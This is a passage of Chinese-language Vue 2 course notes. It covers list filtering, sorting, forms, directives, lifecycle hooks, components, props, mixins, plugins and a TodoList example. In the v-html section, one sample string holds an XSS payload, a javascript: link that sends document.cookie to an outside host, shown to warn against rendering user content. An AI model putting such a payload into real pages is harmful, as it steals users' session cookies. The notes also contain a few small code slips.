        {{p.name}}-{{p.age}}-{{p.sex}}
      </li>
    </ul>
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      keyWord: '',
      persons: [
        { id: '001', name: '马冬梅', age: 18, sex: '女' },
        { id: '002', name: '周冬雨', age: 19, sex: '女' },
        { id: '003', name: '周杰伦', age: 20, sex: '男' },
        { id: '004', name: '温兆伦', age: 21, sex: '男' },
      ],
      filPersons: []
    },
    watch: {
      keyWord:{
        immediate:true,
        handler(val) {
          this.filPersons = this.persons.filter((p) => {
            return p.name.indexOf(val) !== -1
          })
        }
      }
    }
  })
</script>

</html>

在这里插入图片描述

<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <script type="text/javascript" src="./vue.js"></script>
  <title>列表过滤</title>
</head>

<body>
  <!-- 准备好一个容器 -->
  <div id="root">
    <h2>人员</h2>
    <input type="text" placeholder="请输入名字:" v-model="keyWord">
    <ul>
      <li v-for="(p,index) in filPersons" :key="index">
        {{p.name}}-{{p.age}}-{{p.sex}}
      </li>
    </ul>
  </div>
</body>

<script type="text/javascript">
  //用watch实现
  //#region
  /*
  new Vue({
    el: '#root',
    data: {
      keyWord: '',
      persons: [
        { id: '001', name: '马冬梅', age: 18, sex: '女' },
        { id: '002', name: '周冬雨', age: 19, sex: '女' },
        { id: '003', name: '周杰伦', age: 20, sex: '男' },
        { id: '004', name: '温兆伦', age: 21, sex: '男' },
      ],
      filPersons: []
    },
    watch: {
      keyWord:{
        immediate:true,
        handler(val) {
          this.filPersons = this.persons.filter((p) => {
            return p.name.indexOf(val) !== -1
          })
        }
      }
    }
  })
  */
  //#endregion


  // 用computed实现
  new Vue({
    el: '#root',
    data: {
      keyWord: '',
      persons: [
        { id: '001', name: '马冬梅', age: 18, sex: '女' },
        { id: '002', name: '周冬雨', age: 19, sex: '女' },
        { id: '003', name: '周杰伦', age: 20, sex: '男' },
        { id: '004', name: '温兆伦', age: 21, sex: '男' },
      ]
    },
    computed:{
      filPersons(){
        return this.filPersons = this.persons.filter((p)=>{
          return p.name.indexOf(this.keyWord) !== -1
        })
      }
    }
  })

</script>

</html>

在这里插入图片描述

列表排序

<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <script type="text/javascript" src="./vue.js"></script>
  <title>列表排序</title>
</head>

<body>
  <!-- 准备好一个容器 -->
  <div id="root">
    <h2>人员</h2>
    <input type="text" placeholder="请输入名字:" v-model="keyWord">
    <button @click="sortType = 2">年龄升序</button>
    <button @click="sortType = 1">年龄降序</button>
    <button @click="sortType = 0">原顺序</button>
    <ul>
      <li v-for="(p,index) in filPersons" :key="index">
        {{p.name}}-{{p.age}}-{{p.sex}}
      </li>
    </ul>
  </div>
</body>

<script type="text/javascript">
  // 用computed实现
  new Vue({
    el: '#root',
    data: {
      keyWord: '',
      sortType:1, //0原顺序,1降序,2升序
      persons: [
        { id: '001', name: '马冬梅', age: 18, sex: '女' },
        { id: '002', name: '周冬雨', age: 30, sex: '女' },
        { id: '003', name: '周杰伦', age: 20, sex: '男' },
        { id: '004', name: '温兆伦', age: 50, sex: '男' },
      ]
    },
    computed:{
      filPersons(){
        const arr = this.persons.filter((p)=>{
          return p.name.indexOf(this.keyWord) !== -1
        })
        // 判断是否排序
        if(this.sortType){
          arr.sort((a,b)=>{
            return this.sortType == 1 ? b.age-a.age : a.age-b.age
          })
        }
        return arr
      }
    }
  })

</script>

</html>

总结Vue数据监测

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>数据监测</title>
    <!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
    <!-- 准备好一个容器 -->
    <div id="root">
        <h1>用户信息</h1>
 
        <button @click="student.age++">年龄加1岁</button>
        <button @click="addSex">添加性别属性,默认值为男</button>
        <button @click.once="addFriend">在列表首位添加一个朋友</button>
        <button @click="changeFirstFriendName">修改第一个朋友的名字为赵六</button>
        <button @click.once="addHobby">添加一个爱好</button>
        <button @click="changeFirstHobby">修改第一个爱好为练字</button>
 
        <h3>姓名:{{student.name}}</h3>
        <h3>年龄:{{student.age}}</h3>
        <h3 v-if="student.sex">性别:{{student.sex}}</h3>
        <h3>爱好:</h3>
        <ul>
            <li v-for="(h,index) in student.hobbies" :key="index">
                {{h}}
            </li>
        </ul>
        <h3>朋友们:</h3>
        <ul>
            <li v-for="(f,index) in student.friends" :key="index">
                {{f.name}}--{{f.age}}
            </li>
        </ul>
    </div>
</body>
<script type="text/javascript">
    Vue.config.productionTip =  false // 阻止 vue 在启动时生成生产提示
 
    new Vue({
        el:"#root",
        data:{
            name:"振华中学林杨",
            student:{
                name:'张三',
                age:18,
                hobbies:['打游戏','敲代码','打篮球'],
                friends:[
                    {name:'李四',age:19},
                    {name:'王五',age:20}
                ]
            }
        },
        methods:{
            addSex(){
                Vue.set(this.student,'sex','男')
                //this.$set(this.student,'sex','男')
            },
            addFriend(){
                this.student.friends.unshift({name:'玉祁',age:21})
            },
            changeFirstFriendName(){
                this.student.friends[0].name = '赵六'
            },
            addHobby(){
                this.student.hobbies.push('听歌')
            },
            changeFirstHobby(){
                // this.student.hobbies.splice(0,1,'练字')
                Vue.set(this.student.hobby,0,'练字s')
            }
        }
    })
</script>
</html>

Vue数据监测的原理

  1. Vue会监视data中所有层次的数据。

  2. 如何监测对象中的数据?
    通过setter实现监视,且要在new Vue时就传入要监测的数据。

     对象中后追加的属性,Vue默认不做响应式处理。
     如需给后添加的属性做响应式,请使用如下API:
         Vue.set(target,prpertyName/index,value)或
         vm.$set(target,prpertyName/index,value)
    
  3. 如何监测数组中的数据?
    通过包裹数组更新元素的方式实现,本质是:

     调用原生对应的方法对数组进行更新。
     重新解析模板,进而更新页面。
    
  4. 在Vue修改数组中的某个元素时一定要使用如下方法:
    使用API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
    Vue.set或者vm.$set

注意:Vue.set 和 vm.$set不能给vm或vm的根数据对象添加属性

收集表单数据

<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <script type="text/javascript" src="./vue.js"></script>
  <title>收集表单数据</title>
</head>

<body>
  <!-- 准备好一个容器 -->
  <div id="root">
    <form @submit="demo">
      账号:<input type="text" v-model.trim="userInfo.account"><br/><br/>
      密码:<input type="password" v-model="userInfo.password"><br/><br/>
      年龄:<input type="number" v-model.number="userInfo.age"><br/><br/>
      性别:
      男<input type="radio" name="sex" v-model="userInfo.sex" value="male"><input type="radio" name="sex" v-model="userInfo.sex" value="female"><br/><br/>
      爱好:
      学习<input type="checkbox" v-model="userInfo.hobby" value="study">
      打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
      吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
      <br/><br/>
      所属校区
      <select v-model="userInfo.city">
        <option value="">请选择校区</option>
        <option value="beijing">北京</option>
        <option value="shanghai">上海</option>
        <option value="guangzhou">广州</option>
        <option value="shenzhen">深圳</option>
      </select>
      <br/><br/>
      其他信息:
      <textarea v-model.lazy="userInfo.other"></textarea>
      <br/><br/>
      <input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
      <button>提交</button>
    </form>
  </div>
</body>

<script type="text/javascript">
  // 用computed实现
  new Vue({
    el: '#root',
    data: {
      userInfo:{
        account:'',
     password:'',
     age:18,
     sex:'female',
     hobby:[],
     city:'beijing',
     other:'',
     agree:''
      }
    },
    methods:{
      demo(){
        console.log(JSON.stringify(this.userInfo));
      }
     
    }
  })

</script>

</html>

在这里插入图片描述

 收集表单数据:
 若:<input type="text"/> 则v-model收集的是value值,用户输入的就是value值
 若:<input type="radio"/> 则v-model收集的是value值,且要给标签配置value值
 若:<input type="checkbox"/>

1、没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
2、配置input的value属性:
   (1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
   (2)v-model的初始值是数组,那么收集的就是value组成的数组

备注:v-model的三个修饰符:
                    lazy:失去焦点再收集数据
                    number: 输入字符串转为有效的数字
                    trim: 输入首尾空格过滤

过滤器

在这里插入图片描述

过滤器:
定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)。
语法:
1. 注册过滤器:Vue.filter(name,callback) 或 new Vue{filters:{}}
2. 使用过滤器:{{xxx | 过滤器名}} 或 v-bind:属性 = “xxx | 过滤器名”

备注:
1. 过滤器也可以接收额外参数,多个过滤器能够串联。
2. 并没有改变原本的数据,是产生新的对应的数据。

内置指令

在这里插入图片描述

v-bind:单向绑定解析表达式,可简写为:
v-model:双向数据绑定
v-for:遍历数组 / 对象 / 字符串
v-on:绑定事件监听,可简写为@
v-if:条件渲染(动态控制节点是否存存在)
v-else:条件渲染(动态控制节点是否存存在)
v-show:条件渲染 (动态控制节点是否展示)
v-text:向其所在的节点中渲染文本内容
与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会

v-html指令:向指定节点中渲染包含html结构的内容
与插值语法的区别:
1. v-html会替换掉节点中所有的内容,{{xx}}则不会
2. v-html可以识别html结构
严重注意:v-html有安全性问题!!!在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击!!!一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上!!!

v-cloak指令(没有值):
本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题

v-once指令:v-once所在节点在初次动态渲染后,就视为静态内容了,以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能

v-pre指令:跳过其所在节点的编译过程
可利用它跳过没有使用指令语法、没有使用插值语法的节点,会加快编译

v-text

<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <script type="text/javascript" src="./js/vue.js"></script>
  <title>v-text</title>
</head>

<body>
  <!-- 准备好一个容器 -->
  <div id="root">
    <div>{{name}}</div>
    <div v-text="name"></div>
    <div v-text="str"></div>
  </div>
</body>

<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      name:'尚硅谷',
      str:'<h3>你好啊!'
    },
  })
</script>

</html>

在这里插入图片描述

v-html

<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <script type="text/javascript" src="./js/vue.js"></script>
  <title>v-html</title>
</head>

<body>
  <!-- 准备好一个容器 -->
  <div id="root">
    <div>{{name}}</div>
    <div v-html="str"></div>
    <div v-html="str2"></div>

  </div>
</body>

<script type="text/javascript">
  new Vue({
    el: '#root',
    data: {
      name:'尚硅谷',
      str:'<h3>你好啊!',
      str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>August always safe!</a>',
    },
  })
</script>

</html>

在这里插入图片描述

v-cloak

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-cloak</title>
		<style>
			[v-cloak]{
				display:none;
			}
		</style>
	</head>
	<body>
		<div id="root">
			<h2 v-cloak>{{name}}</h2>
		</div>
		<script type="text/javascript" src="../js/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false
		
		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			}
		})
	</script>
</html>

v-once

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-once</title>
	</head>
	<body>
		<div id="root">
      <h2 v-once>初始化的n值是:{{n}}</h2>
			<h2>当前n值是:{{n}}</h2>
      <button @click="n++">点我n+1</button>
		</div>
		<script type="text/javascript" src="./js/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

在这里插入图片描述

v-pre

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>v-pre</title>
	</head>
	<body>
		<div id="root">
      <h2 v-pre>Vue其实很简单</h2>
			<h2>当前n值是:{{n}}</h2>
      <button @click="n++">点我n+1</button>
		</div>
		<script type="text/javascript" src="./js/vue.js"></script>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false
		
		new Vue({
			el:'#root',
			data:{
				n:1
			}
		})
	</script>
</html>

自定义指令_函数式

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>自定义指令</title>
		<script type="text/javascript" src="./js/vue.js"></script>
	</head>
    <!-- 
		需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
		需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
	-->
	<body>
		<div id="root">
			<h2>当前的n值是:<span v-text="n"></span> </h2>
			<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
			<button @click="n++">点我n+1</button>
			<hr/>
			<input type="text" v-fbind:value="n">
		</div>
	</body>
	
	<script type="text/javascript">
		Vue.config.productionTip = false

		new Vue({
			el:'#root',
			data:{
				n:1
			},
			directives:{
        //big函数何时会被调用?1.指令与元素成功绑定时(一上来) 2.指令所在的模板被重新解析时
				big(element,binding){
					console.log('big',this) //注意此处的this是window
					element.innerText = binding.value * 10
				},
				fbind:{
					//指令与元素成功绑定时(一上来)
					bind(element,binding){
						element.value = binding.value
					},
					//指令所在元素被插入页面时
					inserted(element,binding){
						element.focus()
					},
					//指令所在的模板被重新解析时
					update(element,binding){
						element.value = binding.value
					}
				}
			}
		})
	</script>
</html>

在这里插入图片描述

自定义指令定义语法:
一、定义语法:
(1) 局部指令:

new Vue({ directives:{指令名:配置对象} })
new Vue({ directives:{指令名:回调函数} })

(2) 全局指令:
Vue.directive(指令名,配置对象) Vue.directive(指令名,回调函数)

二、配置对象中常用的3个回调函数:
(1) bind(element,binding):指令与元素成功绑定时调用
(2) inserted(element,binding):指令所在元素被插入页面时调用
(3) update(element,binding):指令所在模板结构被重新解析时调用
三、备注:

  1. 指令定义时不加“v-”,但使用时要加“v-”
  2. 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名
    在这里插入图片描述

生命周期

在这里插入图片描述

<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <title>生命周期</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>

<body>
  <div id="root" :x="n">
    <h2 v-text="n"></h2>
    <h2>当前的n值是:{{n}}</h2>

    <button @click="add">点我n+1</button>
    <button @click="bye">点我销毁vm</button>
  </div>

  <script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
      el: '#root',
    //   template: `
    //   <div>
    //     <h2>当前的n值是:{{n}}</h2>
    // <button @click="add">点我n+1</button>
    // </div>`,
      data: {
       n:1,
      },
      methods: {
        add(){
          console.log('add')
          this.n++
        },
        bye(){
          console.log('bye')
          this.$destroy()
        }
      },
      beforeCreate(){
        console.log('beforeCreate')
      },
      created(){
        console.log('created')
      },
      beforeMount(){
        console.log('beforeMount')
      },
      mounted(){
        console.log('mounted')
      },
      beforeUpdate(){
        console.log('beforeUpdate')
      },     
      updated(){
        console.log('updated')
      },
      beforeDestroy(){
        console.log('beforeDestroy')
      },
      destroyed(){
        console.log('destroyed')
      }
    })
  </script>
</body>

</html>

常见生命周期钩子:
mounted:发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
beforeDestroy:清除定时器,解绑在定义事件、取消订阅消息等【收尾工作】。
关于销毁Vue实例:
1. 销毁后借助Vue开发者工具看不到任何信息。
2. 销毁后自定义事件会失效,但原生DOM依然有效。
3. 一般不会在beforeDestroy操作数据,因为此时操作了数据也不会再触发更新流程了。
4. 总结:生命周期钩子共有八个,包括beforeCreate、created、beforeMount、mounted、beforeUpdate、updated、beforeDestroy、destroy。

在这里插入图片描述
在这里插入图片描述

Vue组件化编程

在这里插入图片描述
在这里插入图片描述

非单文件组件

在这里插入图片描述

非单文件组件:一个文件中包含有n个组件
单文件组件:一个文件中包含有1个组件

<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>非单文件组件</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>

<body>
  <div id="root">
    <h1>{{msg}}</h1>
    <hr>
    <!-- 编写组件标签 -->
    <school></school>
    <hr>
    <student></student>
    <hello></hello>
    <hr>
  </div>

  <div id="root2">
    <hello></hello>
  </div>

</body>
<script>
  // 创建school组件
  const school = Vue.extend({
    template:
      `<div>
      <h2>学校名称:{{schoolName}}</h2>
      <h2>学校地址:{{address}}</h2>
      <button @click="showName">点我提示学校名</button>
    </div>`,
    // el:'#root', 一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器
    data() {
      return {
        schoolName: '尚硅谷',
        address: '广东广州'
      }
    },
    methods:{
      showName(){
        alert(this.schoolName)
      }
    }
  })
  // 创建student组件
  const student = Vue.extend({
    template:
      `<div>
        <h2>学校姓名:{{studentName}}</h2>
        <h2>学校年龄:{{age}}</h2>
      </div>`,
    data() {
      return {
        studentName: '张三',
        age: 18
      }
    }
  })

  const hello = Vue.extend({
    template:`
    <div>
      <h2>你哈有</h2>
    </div>
    `,
    data(){
      return {
        name:'Tom'
      }
    }
  })

  // 全局注册
  Vue.component('hello',hello)

  // 创建vm
  new Vue({
    el: '#root',
    data: {
      msg: '你好呀',
    },
    // 注册组件(局部注册)
    components: {
      school,
      student
    }
  })

  new Vue({
    el: '#root2'
  })
</script>

</html>

在这里插入图片描述

Vue使用组件的三大步骤:
一、定义组件(创建组件)
二、注册组件
三、使用组件(写组件标签)

一、如何定义一个组件?
使用Vue.extend(options)创建,其中options和new Vue(options)时传入的那个options几乎一样,但区别如下:
(1)el不要写。因为最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器
(2)data必须写成函数。避免组件被复用时,数据存在引用关系。
备注:使用template可以配置组件结构
二、如何注册组件?
局部注册:靠new Vue的时候传入components选项
全局注册:靠Vue,component(‘组件名’,组件)
三、编写组件标签
<组件名></组件名>

注意

1.关于组件名:
    一个单词组成:
        第一种写法(首字母小写):study
        第二种写法(首字母大写):Study
    多个单词组成:
        第一种写法(Kebab-case命名):my-study
        第二种写法(CamelCase命名):MyStudy(需要Vue脚手架支持)
    备注:
        组件名尽可能回避HTML中已有的元素名。例如:h2、H2等。
        可以使用name配置项指定组件周期开发者工具中呈现的名字。

2.关于组件标签:
    第一种写法:<study><study>
    第二种写法:<study/>
    备注:不使用脚手架时,<study/>会导致后续组件不能渲染。

3.一个简写方式:
    const study = Vue.extend(options) ==> const study = options

组件的嵌套

<!DOCTYPE html>
<html lang="zh-CN">

<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>组件嵌套</title>
  <script type="text/javascript" src="./js/vue.js"></script>
</head>

<body>
  <div id="root">
    <!-- 编写组件标签 -->
    <app></app>
  </div>
</body>

<script>
   const student = Vue.extend({
    template:
      `<div>
      <h2>学生姓名:{{studentName}}</h2>
      <h2>学生年龄:{{age}}</h2>
    </div>`,
    // el:'#root', 一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务于哪个容器
    data() {
      return {
        studentName: '晓谷',
        age:18
      }
    }
  })

  const school = Vue.extend({
    template:
      `<div>
      <h2>学校名称:{{schoolName}}</h2>
      <h2>学校地址:{{address}}</h2>
      <student></student>
    </div>`,
    data() {
      return {
        schoolName: '尚硅谷',
        address: '广东广州'
      }
    },
    // 注册组件(局部注册)
    components:{
      student
    }
  })

  const hello = Vue.extend({
    template:`<h1>{{msg}}</h1>`,
    data(){
      return {
        msg:'欢迎来到振华中学'
      }
    }
  })

  const app = Vue.extend({
    template:`
    <div>
      <hello></hello>
      <school></school>
    </div>
    `,
    components:{
      school,
      hello
    }
  })
  new Vue({
    el: '#root',
    // 注册组件(局部注册)
    components: {
      app
    }
  })

</script>

</html>

在这里插入图片描述

VueComponent构造函数

关于VueComponent:

  1. school组件本质是一个名为VueComponent的构造函数,且不是程序定义的,是Vue.extend生成的。
  2. 我们只需要写,Vue解析时会帮我们创建school组件的实例对象,即Vue帮我们执行的:new VueComponent(options)
  3. 特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!
  4. 关于this指向:
    (1)组件配置中:
    data函数,methods中的函数,watch中的函数,computed中的函数,它们的this均是[VueComponent实例对象]
    (2)new Vue(options)配置中:
    data函数,methods中的函数,watch中的函数,computed中的函数,它们的this均是[Vue实例对象]
  5. VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。
    Vue的实例对象,以后简称vm

1.一个重要的内置关系:
VueComponent.prototype.proto===Vue.protptype

2.为什么要有这个关系:
让组件实例对象(vc)可以访问到Vue原型上的属性,方法。

单文件组件

写法:

<template>
    <!-- 组件结构 -->
</template>

<script>
// 组件交互相关的代码(数据、方法)
</script>

<!-- 组件样式 -->
<style>

</style>

Vue脚手架

在这里插入图片描述

项目文件在这里插入图片描述

main.js
// 该文件是项目入口文件

// 引入Vue
import Vue from 'vue'
// 引入App组件,是所有组件的父组件
import App from './App.vue'
// 关闭Vue生产提示
Vue.config.productionTip = false

// 创建Vue实例对象——vm
new Vue({
  // 将App组件放入容器
  render: h => h(App),
}).$mount('#app')

ref 与 props

this.$ref:可以获取到真实DOM对象/组件的实例对象
在这里插入图片描述

ref
**ref属性**
1. 被用来给元素或子组件注册引用信息(id的替代者)
2. 应用在html标签上获取的是真实DOM元素,应用在组件标签上是组件实例对象(vc)
3. 使用方式:
打标识:<h1 ref="xxx">.....</h1><School ref="xxx"></School>
获取:this.$refs.xxx
<template>
  <div>
    <h1 v-text="msg" ref="title"></h1>
    <button ref="btn" @click="showDOM">点我输出上方dom元素</button>
    <School ref="sch"></School>
  </div>
</template>
  
<script>
// 引入组件
import School from './components/School.vue'
export default {
  name: 'App',
  data(){
    return {
      msg: '欢迎学习Vue'
    }
  },
  components: {
      School
  },
  methods: {
    showDOM(){
      console.log(this.$refs.title) //真实dom元素
      console.log(this.$refs.btn) //真实dom元素
      console.log(this.$refs.sch) //School组建的实例对象vc
    }
  }
}

</script>
  
<style></style>

在这里插入图片描述

props

功能:让组件接收外部传过来的数据

传递数据:

接收数据:

第一种方式(只接收):props:[‘name’]

第二种方式(限制类型):props:{name:String}

第三种方式(限制类型、限制必要性、指定默认值):
props:{
name:{
type:String, //类型
required:true, //必要性
default:‘老王’ //默认值
}
}

备注:props是只读的,Vue底层会监测你对props的修改,如果进行了修改,就会发出警告,若业务需求确实需要修改,那么请复制props的内容到data中一份,然后去修改data中的数据。

<template>
    <!-- 组件结构 -->
    <div class="demo">
        <h1>{{ msg }}</h1>
        <h2>学生姓名:{{ studentName }}</h2>
        <h2>学生性别:{{ sex }}</h2>
        <h2>学生年龄:{{ myAge + 1 }}</h2>
        <button @click="updateAge">尝试修改收到的年龄</button>
    </div>
</template>

<script>
// 组件交互相关的代码(数据、方法)
export default {
    name: 'Student',
    data() {
        console.log(this)
        return {
            msg: '我是振华中学学生!',
            myAge:this.age
        }
    },
    methods: {
        updateAge(){
            this.myAge++
        }
    },
    // 简单接受
    // props:['studentName,'age','sex']
    /*
    props:{
        studentName:String,
        age:Number,
        sex:String
    }
    */

    // 接收时同时对数据进行类型限制+默认值的制定+必要性的限制
    props: {
        studentName: {
            type: String,
            required: true
        },
        age: {
            type: Number,
            default: 99
        },
        sex: {
            type: String,
            required: true
        }
    }
}
</script>

在这里插入图片描述

混入mixin

在这里插入图片描述在这里插入图片描述

功能:可以把多个组件共用的配置提取成一个混入对象

使用方式:

第一步,定义混合:

{
    data(){....},
    methods:{....}
    ....
}

export const hunhe = {
	methods: {
		showName(){
			alert(this.name)
		}
	},
	mounted() {
		console.log('你好啊!')
	},
}
export const hunhe2 = {
	data() {
		return {
			x:100,
			y:200
		}
	},
}

第二步,使用混入:

全局混入:Vue.mixin(xxx)
局部混入:mixins:[‘xxx’]

插件

在这里插入图片描述
功能:用于增强Vue

本质:包含install方法的一个对象,install的第一个参数是Vue,第二个以后的参数是插件使用者传递的数据。

定义插件:

对象.install = function (Vue, options) {
    // 1. 添加全局过滤器
    Vue.filter(....)

    // 2. 添加全局指令
    Vue.directive(....)

    // 3. 配置全局混入(合)
    Vue.mixin(....)

    // 4. 添加实例方法
    Vue.prototype.$myMethod = function () {...}
    Vue.prototype.$myProperty = xxxx
}

使用插件:Vue.use()

export default {
    install(Vue,x,y,z) {
        console.log(x,y,z);
        //全局过滤器
        Vue.filter('mySlice', function (value) {
            return value.slice(0, 4)
        })

        //定义全局指令
        Vue.directive('fbind', {
            //指令与元素成功绑定时(一上来)
            bind(element, binding) {
                element.value = binding.value
            },
            //指令所在元素被插入页面时
            inserted(element, binding) {
                element.focus()
            },
            //指令所在的模板被重新解析时
            update(element, binding) {
                element.value = binding.value
            }
        })

        // 定义混入
        Vue.mixin({
            data() {
               return {
                  x:100,
                  y:200
               }
            },
         })
   
         //给Vue原型上添加一个方法(vm和vc就都能用了)
         Vue.prototype.hello = ()=>{alert('你好啊')}
    }
}
       Vue.prototype.hello = ()=>{alert('你好啊')}
    }
}

在这里插入图片描述

scoped样式

作用:让样式在局部生效,防止冲突
写法:< style scoped >

Todolist案例

在这里插入图片描述

静态组件

Item.vue

<template>
    <li>
        <label>
            <input type="checkbox" />
            <span>xxxxx</span>
        </label>
        <button class="btn btn-danger" style="display:none">删除</button>
    </li>
</template>

<script>
export default {
    name: 'Item',

}
</script>

<style scoped>
 
  /*item*/
  li {
    list-style: none;
    height: 36px;
    line-height: 36px;
    padding: 0 5px;
    border-bottom: 1px solid #ddd;
  }
  
  li label {
    float: left;
    cursor: pointer;
  }
  
  li label li input {
    vertical-align: middle;
    margin-right: 6px;
    position: relative;
    top: -1px;
  }
  
  li button {
    float: right;
    display: none;
    margin-top: 3px;
  }
  
  li:before {
    content: initial;
  }
  
  li:last-child {
    border-bottom: none;
  }
</style>

List.vue

<template>
    <ul class="todo-main">
        <Item></Item>
        <Item></Item>
        <Item></Item>
        <Item></Item>
    </ul>
</template>

<script>
import Item from '../components/Item.vue'
export default {
    name: 'List',
    components: { Item },


}
</script>


<style scoped>
/*main*/
.todo-main {
    margin-left: 0px;
    border: 1px solid #ddd;
    border-radius: 2px;
    padding: 0px;
  }
  
  .todo-empty {
    height: 40px;
    line-height: 40px;
    border: 1px solid #ddd;
    border-radius: 2px;
    padding-left: 5px;
    margin-top: 10px;
  }
</style>

MyFooter.vue

<template>
    <div class="todo-footer">
        <label>
            <input type="checkbox" />
        </label>
        <span>
            <span>已完成0</span> / 全部2
        </span>
        <button class="btn btn-danger">清除已完成任务</button>
    </div>
</template>

<script>
export default {
    name: 'MyFooter',

}
</script>

<style scoped>


/*footer*/
.todo-footer {
    height: 40px;
    line-height: 40px;
    padding-left: 6px;
    margin-top: 5px;
  }
  
  .todo-footer label {
    display: inline-block;
    margin-right: 20px;
    cursor: pointer;
  }
  
  .todo-footer label input {
    position: relative;
    top: -1px;
    vertical-align: middle;
    margin-right: 5px;
  }
  
  .todo-footer button {
    float: right;
    margin-top: 5px;
  }
</style>

MyHeader.vue

<template>
    <div class="todo-header">
        <input type="text" placeholder="请输入你的任务名称,按回车键确认" />
      </div>
</template>

<script>
export default {
    name: 'MyHeader',

}
</script>

<style scoped>
/*header*/
.todo-header input {
    width: 560px;
    height: 28px;
    font-size: 14px;
    border: 1px solid #ccc;
    border-radius: 4px;
    padding: 4px 7px;
  }
  
  .todo-header input:focus {
    outline: none;
    border-color: rgba(82, 168, 236, 0.8);
    box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
  }  
  
</style>

App.vue

<template>
  <div id="root">
    <div class="todo-container">
      <div class="todo-wrap">
        <MyHeader></MyHeader>
        <List></List>
        <MyFooter></MyFooter>
      </div>
    </div>
  </div>
</template>
  
<script>
// 引入组件
import MyHeader from './components/MyHeader.vue'
import List from './components/List.vue'
import MyFooter from './components/MyFooter.vue'

export default {
  name: 'App',
  components: {
    MyHeader,
    List,
    MyFooter
  }
}
</script>

<style>
/*base*/
body {
  background: #fff;
}

.btn {
  display: inline-block;
  padding: 4px 12px;
  margin-bottom: 0;
  font-size: 14px;
  line-height: 20px;
  text-align: center;
  vertical-align: middle;
  cursor: pointer;
  box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
  border-radius: 4px;
}

.btn-danger {
  color: #fff;
  background-color: #da4f49;
  border: 1px solid #bd362f;
}

.btn-danger:hover {
  color: #fff;
  background-color: #bd362f;
}

.btn:focus {
  outline: none;
}

.todo-container {
  width: 600px;
  margin: 0 auto;
}

.todo-container .todo-wrap {
  padding: 10px;
  border: 1px solid #ddd;
  border-radius: 5px;
}
</style>

在这里插入图片描述

展示动态数据

在这里插入图片描述

TodoList.vue

<template>
  <div>
    <ul class="todo-main">
      <TodoItem v-for="todoObj in todos" :key="todoObj.id" :todo="todoObj"></TodoItem>
